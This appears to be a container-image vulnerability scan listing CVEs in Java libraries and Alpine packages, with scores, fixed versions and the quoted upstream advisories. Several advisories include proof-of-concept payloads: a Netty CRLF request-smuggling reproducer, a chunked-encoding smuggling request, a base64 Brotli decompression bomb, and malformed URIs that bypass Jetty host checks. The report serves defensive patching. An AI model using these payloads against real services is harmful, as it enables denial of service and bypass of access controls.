- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.124.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.124.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
